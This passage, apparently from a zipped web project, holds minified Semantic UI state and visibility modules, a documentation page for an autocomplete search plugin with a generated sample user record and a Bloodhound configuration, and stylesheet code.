e=b.active||C.data(g.storedText),t=b.inactive||C.data(g.storedText);n.is.textEnabled()&&(n.is.active()&&e?(n.verbose("Resetting active text",e),n.update.text(e)):t&&(n.verbose("Resetting inactive text",e),n.update.text(t)))}},update:{text:function(e){var t=n.get.text();e&&e!==t?(n.debug("Updating text",e),f.selector.text?C.data(g.storedText,e).find(f.selector.text).text(e):C.data(g.storedText,e).html(e)):n.debug("Text is already set, ignoring update",e)}},setting:function(t,o){
if(n.debug("Changing setting",t,o),e.isPlainObject(t))e.extend(!0,f,t);else{if(o===i)return f[t];e.isPlainObject(f[t])?e.extend(!0,f[t],o):f[t]=o}},internal:function(t,o){if(e.isPlainObject(t))e.extend(!0,n,t);else{if(o===i)return n[t];n[t]=o}},debug:function(){!f.silent&&f.debug&&(f.performance?n.performance.log(arguments):(n.debug=Function.prototype.bind.call(console.info,console,f.name+":"),n.debug.apply(console,arguments)))},verbose:function(){!f.silent&&f.verbose&&f.debug&&(f.performance?n.performance.log(arguments):(n.verbose=Function.prototype.bind.call(console.info,console,f.name+":"),n.verbose.apply(console,arguments)))},error:function(){f.silent||(n.error=Function.prototype.bind.call(console.error,console,f.name+":"),n.error.apply(console,arguments))},performance:{log:function(e){var t,i,o;f.performance&&(t=(new Date).getTime(),o=s||t,i=t-o,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:w,"Execution Time":i})),clearTimeout(n.performance.timer),n.performance.timer=setTimeout(n.performance.display,500)},display:function(){var t=f.name+":",o=0;s=!1,clearTimeout(n.performance.timer),e.each(l,function(e,t){o+=t["Execution Time"]}),t+=" "+o+"ms",r&&(t+=" '"+r+"'"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,a,r){var s,l,c,u=k;return a=a||d,r=w||r,"string"==typeof t&&u!==i&&(t=t.split(/[\. ]/),s=t.length-1,e.each(t,function(o,a){var r=o!=s?a+t[o+1].charAt(0).toUpperCase()+t[o+1].slice(1):t;if(e.isPlainObject(u[r])&&o!=s)u=u[r];else{if(u[r]!==i)return l=u[r],!1;if(!e.isPlainObject(u[a])||o==s)return u[a]!==i?(l=u[a],!1):(n.error(m.method,t),!1);u=u[a]}})),e.isFunction(l)?c=l.apply(r,a):l!==i&&(c=l),e.isArray(o)?o.push(c):o!==i?o=[o,c]:c!==i&&(o=c),l}},u?(k===i&&n.initialize(),n.invoke(c)):(k!==i&&k.invoke("destroy"),n.initialize())}),o!==i?o:this},e.fn.state.settings={name:"State",debug:!1,verbose:!1,namespace:"state",performance:!0,onActivate:function(){},onDeactivate:function(){},onChange:function(){},activateTest:function(){return!0},deactivateTest:function(){return!0},automatic:!0,sync:!1,flashDuration:1e3,filter:{text:".loading, .disabled",active:".disabled"},context:!1,error:{beforeSend:"The before send function has cancelled state change",method:"The method you called is not defined."},metadata:{promise:"promise",storedText:"stored-text"},className:{active:"active",disabled:"disabled",error:"error",loading:"loading",success:"success",warning:"warning"},selector:{text:!1},defaults:{input:{disabled:!0,loading:!0,active:!0},button:{disabled:!0,loading:!0,active:!0},progress:{active:!0,success:!0,warning:!0,error:!0}},states:{active:!0,disabled:!0,error:!0,loading:!0,success:!0,warning:!0},text:{disabled:!1,flash:!1,hover:!1,active:!1,inactive:!1,activate:!1,deactivate:!1}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.visibility=function(o){var a,r=e(this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1),m=r.length,g=0;return r.each(function(){var r,p,h,v,b=e.isPlainObject(o)?e.extend(!0,{},e.fn.visibility.settings,o):e.extend({},e.fn.visibility.settings),y=b.className,x=b.namespace,C=b.error,w=b.metadata,k="."+x,S="module-"+x,T=e(t),A=e(this),R=e(b.context),P=(A.selector||"",A.data(S)),E=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)},F=this,O=!1;v={initialize:function(){v.debug("Initializing",b),v.setup.cache(),v.should.trackChanges()&&("image"==b.type&&v.setup.image(),"fixed"==b.type&&v.setup.fixed(),b.observeChanges&&v.observeChanges(),v.bind.events()),v.save.position(),v.is.visible()||v.error(C.visible,A),b.initialCheck&&v.checkVisibility(),v.instantiate()},instantiate:function(){v.debug("Storing instance",v),A.data(S,v),P=v},destroy:function(){v.verbose("Destroying previous module"),h&&h.disconnect(),p&&p.disconnect(),T.off("load"+k,v.event.load).off("resize"+k,v.event.resize),R.off("scroll"+k,v.event.scroll).off("scrollchange"+k,v.event.scrollchange),"fixed"==b.type&&(v.resetFixed(),v.remove.placeholder()),A.off(k).removeData(S)},observeChanges:function(){"MutationObserver"in t&&(p=new MutationObserver(v.event.contextChanged),h=new MutationObserver(v.event.changed),p.observe(n,{childList:!0,subtree:!0}),h.observe(F,{childList:!0,subtree:!0}),v.debug("Setting up mutation observer",h))},bind:{events:function(){v.verbose("Binding visibility events to scroll and resize"),b.refreshOnLoad&&T.on("load"+k,v.event.load),T.on("resize"+k,v.event.resize),R.off("scroll"+k).on("scroll"+k,v.event.scroll).on("scrollchange"+k,v.event.scrollchange)}},event:{changed:function(e){v.verbose("DOM tree modified, updating visibility calculations"),v.timer=setTimeout(function(){v.verbose("DOM tree modified, updating sticky menu"),v.refresh()},100)},contextChanged:function(t){[].forEach.call(t,function(t){t.removedNodes&&[].forEach.call(t.removedNodes,function(t){(t==F||e(t).find(F).length>0)&&(v.debug("Element removed from DOM, tearing down events"),v.destroy())})})},resize:function(){v.debug("Window resized"),b.refreshOnResize&&E(v.refresh)},load:function(){v.debug("Page finished loading"),E(v.refresh)},scroll:function(){b.throttle?(clearTimeout(v.timer),v.timer=setTimeout(function(){R.triggerHandler("scrollchange"+k,[R.scrollTop()])},b.throttle)):E(function(){R.triggerHandler("scrollchange"+k,[R.scrollTop()])})},scrollchange:function(e,t){v.checkVisibility(t)}},precache:function(t,i){t instanceof Array||(t=[t]);for(var o=t.length,a=0,r=[],s=n.createElement("img"),l=function(){a++,a>=t.length&&e.isFunction(i)&&i()};o--;)s=n.createElement("img"),s.onload=l,s.onerror=l,s.src=t[o],r.push(s)},enableCallbacks:function(){v.debug("Allowing callbacks to occur"),O=!1},disableCallbacks:function(){v.debug("Disabling all callbacks temporarily"),O=!0},should:{trackChanges:function(){return d?(v.debug("One time query, no need to bind events"),!1):(v.debug("Callbacks being attached"),!0)}},setup:{cache:function(){v.cache={occurred:{},screen:{},element:{}}},image:function(){var e=A.data(w.src);e&&(v.verbose("Lazy loading image",e),b.once=!0,b.observeChanges=!1,b.onOnScreen=function(){v.debug("Image on screen",F),v.precache(e,function(){v.set.image(e,function(){g++,g==m&&b.onAllLoaded.call(this),b.onLoad.call(this)})})})},fixed:function(){v.debug("Setting up fixed"),b.once=!1,b.observeChanges=!1,b.initialCheck=!0,b.refreshOnLoad=!0,o.transition||(b.transition=!1),v.create.placeholder(),v.debug("Added placeholder",r),b.onTopPassed=function(){v.debug("Element passed, adding fixed position",A),v.show.placeholder(),v.set.fixed(),b.transition&&e.fn.transition!==i&&A.transition(b.transition,b.duration)},b.onTopPassedReverse=function(){v.debug("Element returned to position, removing fixed",A),v.hide.placeholder(),v.remove.fixed()}}},create:{placeholder:function(){v.verbose("Creating fixed position placeholder"),r=A.clone(!1).css("display","none").addClass(y.placeholder).insertAfter(A)}},show:{placeholder:function(){v.verbose("Showing placeholder"),r.css("display","block").css("visibility","hidden")}},hide:{placeholder:function(){v.verbose("Hiding placeholder"),r.css("display","none").css("visibility","")}},set:{fixed:function(){v.verbose("Setting element to fixed position"),A.addClass(y.fixed).css({position:"fixed",top:b.offset+"px",left:"auto",zIndex:b.zIndex}),b.onFixed.call(F)},image:function(t,n){A.attr("src",t),b.transition?e.fn.transition!==i?A.transition(b.transition,b.duration,n):A.fadeIn(b.duration,n):A.show()}},is:{onScreen:function(){var e=v.get.elementCalculations();return e.onScreen},offScreen:function(){var e=v.get.elementCalculations();return e.offScreen},visible:function(){return!(!v.cache||!v.cache.element)&&!(0===v.cache.element.width&&0===v.cache.element.offset.top)}},refresh:function(){v.debug("Refreshing constants (width/height)"),"fixed"==b.type&&v.resetFixed(),v.reset(),v.save.position(),b.checkOnRefresh&&v.checkVisibility(),b.onRefresh.call(F)},resetFixed:function(){v.remove.fixed(),v.remove.occurred()},reset:function(){v.verbose("Resetting all cached values"),e.isPlainObject(v.cache)&&(v.cache.screen={},v.cache.element={})},checkVisibility:function(e){v.verbose("Checking visibility of element",v.cache.element),!O&&v.is.visible()&&(v.save.scroll(e),v.save.calculations(),v.passed(),v.passingReverse(),v.topVisibleReverse(),v.bottomVisibleReverse(),v.topPassedReverse(),v.bottomPassedReverse(),v.onScreen(),v.offScreen(),v.passing(),v.topVisible(),v.bottomVisible(),v.topPassed(),v.bottomPassed(),b.onUpdate&&b.onUpdate.call(F,v.get.elementCalculations()))},passed:function(t,n){var o=v.get.elementCalculations();if(t&&n)b.onPassed[t]=n;else{if(t!==i)return v.get.pixelsPassed(t)>o.pixelsPassed;o.passing&&e.each(b.onPassed,function(e,t){o.bottomVisible||o.pixelsPassed>v.get.pixelsPassed(e)?v.execute(t,e):b.once||v.remove.occurred(t)})}},onScreen:function(e){var t=v.get.elementCalculations(),n=e||b.onOnScreen,o="onScreen";if(e&&(v.debug("Adding callback for onScreen",e),b.onOnScreen=e),t.onScreen?v.execute(n,o):b.once||v.remove.occurred(o),e!==i)return t.onOnScreen},offScreen:function(e){var t=v.get.elementCalculations(),n=e||b.onOffScreen,o="offScreen";if(e&&(v.debug("Adding callback for offScreen",e),b.onOffScreen=e),t.offScreen?v.execute(n,o):b.once||v.remove.occurred(o),e!==i)return t.onOffScreen},passing:function(e){var t=v.get.elementCalculations(),n=e||b.onPassing,o="passing";if(e&&(v.debug("Adding callback for passing",e),b.onPassing=e),t.passing?v.execute(n,o):b.once||v.remove.occurred(o),e!==i)return t.passing},topVisible:function(e){var t=v.get.elementCalculations(),n=e||b.onTopVisible,o="topVisible";if(e&&(v.debug("Adding callback for top visible",e),b.onTopVisible=e),t.topVisible?v.execute(n,o):b.once||v.remove.occurred(o),e===i)return t.topVisible},bottomVisible:function(e){var t=v.get.elementCalculations(),n=e||b.onBottomVisible,o="bottomVisible";if(e&&(v.debug("Adding callback for bottom visible",e),b.onBottomVisible=e),t.bottomVisible?v.execute(n,o):b.once||v.remove.occurred(o),e===i)return t.bottomVisible},topPassed:function(e){var t=v.get.elementCalculations(),n=e||b.onTopPassed,o="topPassed";if(e&&(v.debug("Adding callback for top passed",e),b.onTopPassed=e),t.topPassed?v.execute(n,o):b.once||v.remove.occurred(o),e===i)return t.topPassed},bottomPassed:function(e){var t=v.get.elementCalculations(),n=e||b.onBottomPassed,o="bottomPassed";if(e&&(v.debug("Adding callback for bottom passed",e),b.onBottomPassed=e),t.bottomPassed?v.execute(n,o):b.once||v.remove.occurred(o),e===i)return t.bottomPassed},passingReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onPassingReverse,o="passingReverse";if(e&&(v.debug("Adding callback for passing reverse",e),b.onPassingReverse=e),t.passing?b.once||v.remove.occurred(o):v.get.occurred("passing")&&v.execute(n,o),e!==i)return!t.passing},topVisibleReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onTopVisibleReverse,o="topVisibleReverse";if(e&&(v.debug("Adding callback for top visible reverse",e),b.onTopVisibleReverse=e),t.topVisible?b.once||v.remove.occurred(o):v.get.occurred("topVisible")&&v.execute(n,o),e===i)return!t.topVisible},bottomVisibleReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onBottomVisibleReverse,o="bottomVisibleReverse";if(e&&(v.debug("Adding callback for bottom visible reverse",e),b.onBottomVisibleReverse=e),t.bottomVisible?b.once||v.remove.occurred(o):v.get.occurred("bottomVisible")&&v.execute(n,o),e===i)return!t.bottomVisible},topPassedReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onTopPassedReverse,o="topPassedReverse";if(e&&(v.debug("Adding callback for top passed reverse",e),b.onTopPassedReverse=e),t.topPassed?b.once||v.remove.occurred(o):v.get.occurred("topPassed")&&v.execute(n,o),e===i)return!t.onTopPassed},bottomPassedReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onBottomPassedReverse,o="bottomPassedReverse";if(e&&(v.debug("Adding callback for bottom passed reverse",e),b.onBottomPassedReverse=e),t.bottomPassed?b.once||v.remove.occurred(o):v.get.occurred("bottomPassed")&&v.execute(n,o),e===i)return!t.bottomPassed},execute:function(e,t){var n=v.get.elementCalculations(),i=v.get.screenCalculations();e=e||!1,e&&(b.continuous?(v.debug("Callback being called continuously",t,n),e.call(F,n,i)):v.get.occurred(t)||(v.debug("Conditions met",t,n),e.call(F,n,i))),v.save.occurred(t)},remove:{fixed:function(){v.debug("Removing fixed position"),A.removeClass(y.fixed).css({position:"",top:"",left:"",zIndex:""}),b.onUnfixed.call(F)},placeholder:function(){v.debug("Removing placeholder content"),r&&r.remove()},occurred:function(e){if(e){var t=v.cache.occurred;t[e]!==i&&t[e]===!0&&(v.debug("Callback can now be called again",e),v.cache.occurred[e]=!1)}else v.cache.occurred={}}},save:{calculations:function(){v.verbose("Saving all calculations necessary to determine positioning"),v.save.direction(),v.save.screenCalculations(),v.save.elementCalculations()},occurred:function(e){e&&(v.cache.occurred[e]!==i&&v.cache.occurred[e]===!0||(v.verbose("Saving callback occurred",e),v.cache.occurred[e]=!0))},scroll:function(e){e=e+b.offset||R.scrollTop()+b.offset,v.cache.scroll=e},direction:function(){var e,t=v.get.scroll(),n=v.get.lastScroll();return e=t>n&&n?"down":t<n&&n?"up":"static",v.cache.direction=e,v.cache.direction},elementPosition:function(){var e=v.cache.element,t=v.get.screenSize();return v.verbose("Saving element position"),e.fits=e.height<t.height,e.offset=A.offset(),e.width=A.outerWidth(),e.height=A.outerHeight(),v.cache.element=e,e},elementCalculations:function(){var e=v.get.screenCalculations(),t=v.get.elementPosition();return b.includeMargin?(t.margin={},t.margin.top=parseInt(A.css("margin-top"),10),t.margin.bottom=parseInt(A.css("margin-bottom"),10),t.top=t.offset.top-t.margin.top,t.bottom=t.offset.top+t.height+t.margin.bottom):(t.top=t.offset.top,t.bottom=t.offset.top+t.height),t.topVisible=e.bottom>=t.top,t.topPassed=e.top>=t.top,t.bottomVisible=e.bottom>=t.bottom,t.bottomPassed=e.top>=t.bottom,t.pixelsPassed=0,t.percentagePassed=0,t.onScreen=t.topVisible&&!t.bottomPassed,t.passing=t.topPassed&&!t.bottomPassed,t.offScreen=!t.onScreen,t.passing&&(t.pixelsPassed=e.top-t.top,t.percentagePassed=(e.top-t.top)/t.height),v.cache.element=t,v.verbose("Updated element calculations",t),t},screenCalculations:function(){var e=v.get.scroll();return v.save.direction(),v.cache.screen.top=e,v.cache.screen.bottom=e+v.cache.screen.height,v.cache.screen},screenSize:function(){v.verbose("Saving window position"),v.cache.screen={height:R.height()}},position:function(){v.save.screenSize(),v.save.elementPosition()}},get:{pixelsPassed:function(e){var t=v.get.elementCalculations();return e.search("%")>-1?t.height*(parseInt(e,10)/100):parseInt(e,10)},occurred:function(e){return v.cache.occurred!==i&&(v.cache.occurred[e]||!1)},direction:function(){return v.cache.direction===i&&v.save.direction(),v.cache.direction},elementPosition:function(){return v.cache.element===i&&v.save.elementPosition(),v.cache.element},elementCalculations:function(){return v.cache.element===i&&v.save.elementCalculations(),v.cache.element},screenCalculations:function(){return v.cache.screen===i&&v.save.screenCalculations(),v.cache.screen},screenSize:function(){return v.cache.screen===i&&v.save.screenSize(),v.cache.screen},scroll:function(){return v.cache.scroll===i&&v.save.scroll(),v.cache.scroll},lastScroll:function(){return v.cache.screen===i?(v.debug("First scroll event, no last scroll could be found"),!1):v.cache.screen.top}},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,b,t);else{if(n===i)return b[t];b[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,v,t);else{if(n===i)return v[t];v[t]=n}},debug:function(){!b.silent&&b.debug&&(b.performance?v.performance.log(arguments):(v.debug=Function.prototype.bind.call(console.info,console,b.name+":"),v.debug.apply(console,arguments)))},verbose:function(){!b.silent&&b.verbose&&b.debug&&(b.performance?v.performance.log(arguments):(v.verbose=Function.prototype.bind.call(console.info,console,b.name+":"),v.verbose.apply(console,arguments)))},error:function(){b.silent||(v.error=Function.prototype.bind.call(console.error,console,b.name+":"),v.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;b.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:F,"Execution Time":n})),clearTimeout(v.performance.timer),v.performance.timer=setTimeout(v.performance.display,500)},display:function(){var t=b.name+":",n=0;l=!1,clearTimeout(v.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=P;return n=n||f,o=F||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(v.error(C.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(P===i&&v.initialize(),P.save.scroll(),P.save.calculations(),v.invoke(u)):(P!==i&&P.invoke("destroy"),v.initialize())}),a!==i?a:this},e.fn.visibility.settings={name:"Visibility",namespace:"visibility",debug:!1,verbose:!1,performance:!0,observeChanges:!0,initialCheck:!0,refreshOnLoad:!0,refreshOnResize:!0,checkOnRefresh:!0,once:!0,continuous:!1,offset:0,includeMargin:!1,context:t,throttle:!1,type:!1,zIndex:"10",transition:"fade in",duration:1e3,onPassed:{},onOnScreen:!1,onOffScreen:!1,onPassing:!1,onTopVisible:!1,onBottomVisible:!1,onTopPassed:!1,onBottomPassed:!1,onPassingReverse:!1,onTopVisibleReverse:!1,onBottomVisibleReverse:!1,onTopPassedReverse:!1,onBottomPassedReverse:!1,onLoad:function(){},onAllLoaded:function(){},onFixed:function(){},onUnfixed:function(){},onUpdate:!1,onRefresh:function(){},metadata:{src:"src"},className:{fixed:"fixed",placeholder:"placeholder"},error:{method:"The method you called is not defined.",visible:"Element is hidden, you must call refresh after element becomes visible"}}}(jQuery,window,document);PK!I�
�..
document.htmlnu&1i�<!DOCTYPE html>
<html>
<head>
    <title>Autocomplete Search Plugin</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <link rel="shortcut icon" href="img/favicon.ico" type="image/x-icon" />
    <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport" />
    <meta charset="utf-8" />
    <link href="dist/semantic.min.css" rel="stylesheet" />
    <link href="css/main.css" rel="stylesheet" />
    <link href="css/ionicons.min.css" rel="stylesheet" />
    <link href="css/hightlight.css" rel="stylesheet" />
</head>
<body class="document">
    <div class="ui container">
        <div class="section">
            <div class="row">
                <div class="four wide tablet sixteen wide computer column">
                    <div class="ui basic segment">
                        <header class="main-header">
                            <a href="index.html"><img src="img/logo.png" /></a>
                            <h1>Autocomplete Search Plugin<span>Contacts and Person or e.t.c. Search Documentation</span></h1>
                        </header>
                        <h2 class="ui inverted header">Json Example</h2>
                        <pre><code class="json">[
  {
    "gender": "female",
    "name": {
      "title": "madame",
      "first": "lylou",
      "last": "thomas"
    },
    "location": {
      "street": "5933 rue d'abbeville",
      "city": "sottens",
      "state": "genève",
      "postcode": 4045
    },
    "email": "lylou.thomas@example.com",
    "login": {
      "username": "orangemouse111",
      "password": "asdfjkl",
      "salt": "PmkaTArn",
      "md5": "e923e268a9a0ea6ccf402905d7a83f75",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "1959-06-15 22:30:39",
    "registered": "2002-12-27 17:50:02",
    "phone": "(772)-966-5431",
    "cell": "(505)-943-4344",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://randomuser.me/api/portraits/women/17.jpg",
      "medium": "https://randomuser.me/api/portraits/med/women/17.jpg",
      "thumbnail": "https://randomuser.me/api/portraits/thumb/women/17.jpg"
    },
    "nat": "CH"
  }
]</code></pre>

                        <h1 class="ui inverted sub header">Bloodhound and Searchable Variables Json Parse</h1>
                        <span>You can use 'var tags = ['name', 'user_name', 'email', 'state']' in html with script before main.js script</span>
                        <pre><code class="js"> var tags = ['name', 'user_name', 'email', 'state'];//parsing variables for search input
    var contactList = new Bloodhound({
    datumTokenizer: Bloodhound.tokenizers.obj.whitespace('tags'),
    queryTokenizer: Bloodhound.tokenizers.whitespace,
    minLength: 1,//minimum character length for search
    prefetch: {
        url: 'json_file_url',
        transform: function (response) {
            return $.map(response, function (tag) {
                return {
                    name: tag.name.first + " " + tag.name.last,//parse name from json file
                    picture: tag.picture.thumbnail,//parse picture form json file
                    l_picture: tag.picture.large,//parse large picture from json file
                    email: tag.email,//parse email from json file
                    phone: tag.phone,//parse phone number from json file
                    user_name: tag.login.username,//parse user name from json file
                    state: tag.location.state + ", " + tag.nat//parse state and country code from json file
                }
            });
        },
        cache: false,
        ttl: 3600000,
    },
});</code></pre>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="js/jquery-3.1.1.min.js"></script>
    <script src="dist/semantic.min.js"></script>
    <script src="http://cdn.jsdelivr.net/highlight.js/9.9.0/highlight.min.js"></script>
    <script src="http://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.4.0/languages/go.min.js"></script>
    <script>
        $(document).ready(function () {
            $('pre code').each(function (i, block) {
                hljs.highlightBlock(block);
            });
        });
    </script>
</body>
</html>PK!�4�css/main.min.cssnu&1i�@import url('https://fonts.googleapis.com/css?family=Lato');body{font-family:'Lato',sans-serif}.ui.toggle.checkbox label{color:#fff}.form .field{margin-bottom:10px !important}.document{background:#C0392B}.doc{padding-left:8px}.doc i{color:#fff;font-size:2.2em}.main-header{padding:0;letter-spacing:-1px;text-align:center;color:#fff}.main-header h1{font-weight:500;font-size:2.8em;line-height:1;margin:0;text-rendering:geometricPrecision}.main-header h1 span{display:block;font-size:35%;letter-spacing:1px;text-rendering:geometricPrecision;padding-top:0.75em;color:#ddd}.main-header img{width:150px}@media screen and (max-width: 480px){.main-header img{width:80px}.main-header h1{font-size:2em}}.customizer{background:#444;position:fixed;top:50%;left:0;max-height:100%;z-index:10000;padding:15px 10px;border-radius:0 5px 5px 0;-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.color-tool{list-style:none;margin:0;padding:0;display:-webkit-flex;display:flex;-webkit-flex-direction:column;flex-direction:column}.color-tool li{width:30px;height:30px;display:block;margin:5px;cursor:pointer}.color-tool li a{display:block;width:100%;height:100%}.color-1{background:#FFF}.color-2{background:#FFF}.color-3{background:#FFF}.color-4{background:#FFF}.color-5{background:#FFF}.color-6{background:#FFF}.color-7{background:#FFF}.color-8{background:#FFF}@media screen and (max-width: 50em){.customizer{bottom:0;width:100%;height:100px;padding:30px 0;-webkit-transform:none;transform:none;border-radius:0;top:80%}.color-tool{-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-justify-content:center;justify-content:center}.color-tool li{margin:3px}}.input-container{text-align:left;max-width:650px;margin:0 auto}.input-container--indent{padding-left:160px}.input-container--space{margin-top:1em}.input-label{font-weight:bold;display:inline-block;line-height:80px;height:60px;width:150px;padding:0 1em 0 0;text-align:right;color:#FF75AF;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#isim{font-weight:bold}.input-label--long{float:left;width:calc(100% - 50px);text-align:left;padding:0 0 1em 1em}.input-wrap{position:relative;margin:0 auto 1em;display:inline-block;vertical-align:top;width:100%;height:80px}.input-wrap--small{width:30px;height:30px;float:left;margin:23px 10px 0}.input-wrap input[type="search"]{display:block;width:94.6%;height:75%;border:none;position:relative;background:none;z-index:100;outline:none;font-size:1.5em;font-weight:bold;color:#444;padding:0 0.75em;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);-webkit-tap-highlight-color:transparent}.input-wrap input[type="text"]{display:block;width:94.6%;height:75%;border:none;position:relative;background:none;z-index:100;outline:none;font-size:1.5em;font-weight:bold;color:#aaa;left:2.7%;top:12.5%;padding:0 0.75em;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);-webkit-tap-highlight-color:transparent}.input-wrap input[type="checkbox"], .input-wrap input[type="radio"], .input-wrap .fa{display:block;width:94.6%;height:75%;border:none;position:relative;background:none;z-index:100;outline:none;font-size:1.5em;font-weight:bold;color:#FF75AF;padding:20px 25px !important;-webkit-tap-highlight-color:#FF75AF;-webkit-tap-highlight-color:transparent}.input-wrap .fa{z-index:99;line-height:2;color:#415c71}.input-wrap input[type="checkbox"]:checked + .fa, .input-wrap input[type="radio"]:checked+.fa{opacity:1}.morph-shape{position:absolute;width:100%;height:100%;top:0;left:0;pointer-events:none}.morph-shape svg path{fill:#FFE066}.note{text-align:left;max-width:600px;padding:1em 0 0.5em;font-size:1em;color:#CBCBCB;border-bottom:1px solid #ddd;margin:0 auto 1em}@media screen and (max-width: 60em){.input-label,.input-label--long{text-align:left;padding:0}.input-container--indent{padding:0}.input-wrap:not(.input-wrap--small){width:100%}}.twitter-typeahead{width:100% !important;margin-left:15px;margin-top:10px;height:80px}.typeahead,.tt-query,.tt-hint{height:80px}.typeahead{}::-webkit-input-placeholder{word-spacing:normal}::-moz-placeholder{word-spacing:normal}:-ms-input-placeholder{word-spacing:normal}input:-moz-placeholder{word-spacing:normal}.tt-input{}.typeahead:focus{border:2px solid #0097cf}.tt-query{-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.tt-hint{color:#C0392B !important}.tt-menu{width:94.5%;margin-top:-3px;background-color:#333;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, .2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, .2);box-shadow:0 5px 10px rgba(0,0,0,.2)}.tt-suggestion{padding:3px 20px;font-size:18px;line-height:24px}.tt-suggestion:hover{cursor:pointer;color:#000 !important;background-color:#ce5a4e}.tt-suggestion.tt-cursor{color:#fff;background-color:#A98901}.tt-suggestion p{margin:0}.gist{font-size:33px}#custom-templates .empty-message{padding:10px 10px !important;text-align:center}.empty-message{padding:10px 10px !important;text-align:center;color:#fff}#multiple-datasets .league-name{margin:0 20px 5px 20px;padding:3px 0;border-bottom:1px solid #ccc}#scrollable-dropdown-menu .tt-menu{max-height:350px;overflow-y:auto}#rtl-support .tt-menu{text-align:right}.arrow_box4{position:relative;border:2px solid #ffe066}.arrow_box4:after,.arrow_box4:before{bottom:102%;left:10%;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}.arrow_box4:after{border-color:rgba(0,0,0,0);border-bottom-color:;border-width:12px;margin-left:-12px}.arrow_box4:before{border-color:rgba(255,255,255,0);border-bottom-color:#ffe066;border-width:15px;margin-left:-15px}.personimage{object-fit:cover}.fff{width:150px;height:auto;margin:0 auto;text-align:center;object-fit:cover}.md-birim{text-transform:capitalize}.kisilist{text-transform:capitalize;margin:0 !important;padding:3px 0 !important}.cleard{position:absolute;top:0;right:0;margin-top:25px !important;margin-right:25px !important;z-index:999 !important;color:#C0392B;display:none}PK!
`"O"O"css/main.cssnu&1i�@import url('https://fonts.googleapis.com/css?family=Poppins');

body {
    font-family: 'Poppins', sans-serif;
}

.ui.toggle.checkbox label {
    color: #fff;
}

.form .field {
    margin-bottom: 10px !important;
}

.document {
    background: #C0392B;
}

.doc {
    padding-left: 8px;
}

    .doc i {
        color: #fff;
        font-size: 2.2em;
    }
/* Header */

.main-header {
    padding: 0;
    letter-spacing: -1px;
    text-align: center;
    color: #fff;
}

    .main-header h1 {
        font-weight: 800;
        font-size: 3.5em;
        line-height: 1;
        margin: 0;
        text-rendering: geometricPrecision;
    }

        .main-header h1 span {
            display: block;
            font-size: 35%;
            letter-spacing: 1px;
            text-rendering: geometricPrecision;
            padding-top: 0.75em;
            color: #ddd;
        }

    .main-header img {
        width: 150px;
    }

@media screen and (max-width: 480px) {
    .main-header img {
        width: 80px;
    }

    .main-header h1 {
        font-size: 2em;
    }
}

/* Customizer */

.customizer {
    background: #444;
    position: fixed;
    top: 50%;
    left: 0;
    max-height: 100%;
    z-index: 10000;
    padding: 15px 10px;
    border-radius: 0 5px 5px 0;
    -webkit-transform: translate3d(0, -50%, 0);
    transform: translate3d(0, -50%, 0);
}

.color-tool {
    list-style: none;
    margin: 0;
    padding: 0;
    display: -webkit-flex;
    display: flex;
    -webkit-flex-direction: column;
    flex-direction: column;
}

    .color-tool li {
        width: 30px;
        height: 30px;
        display: block;
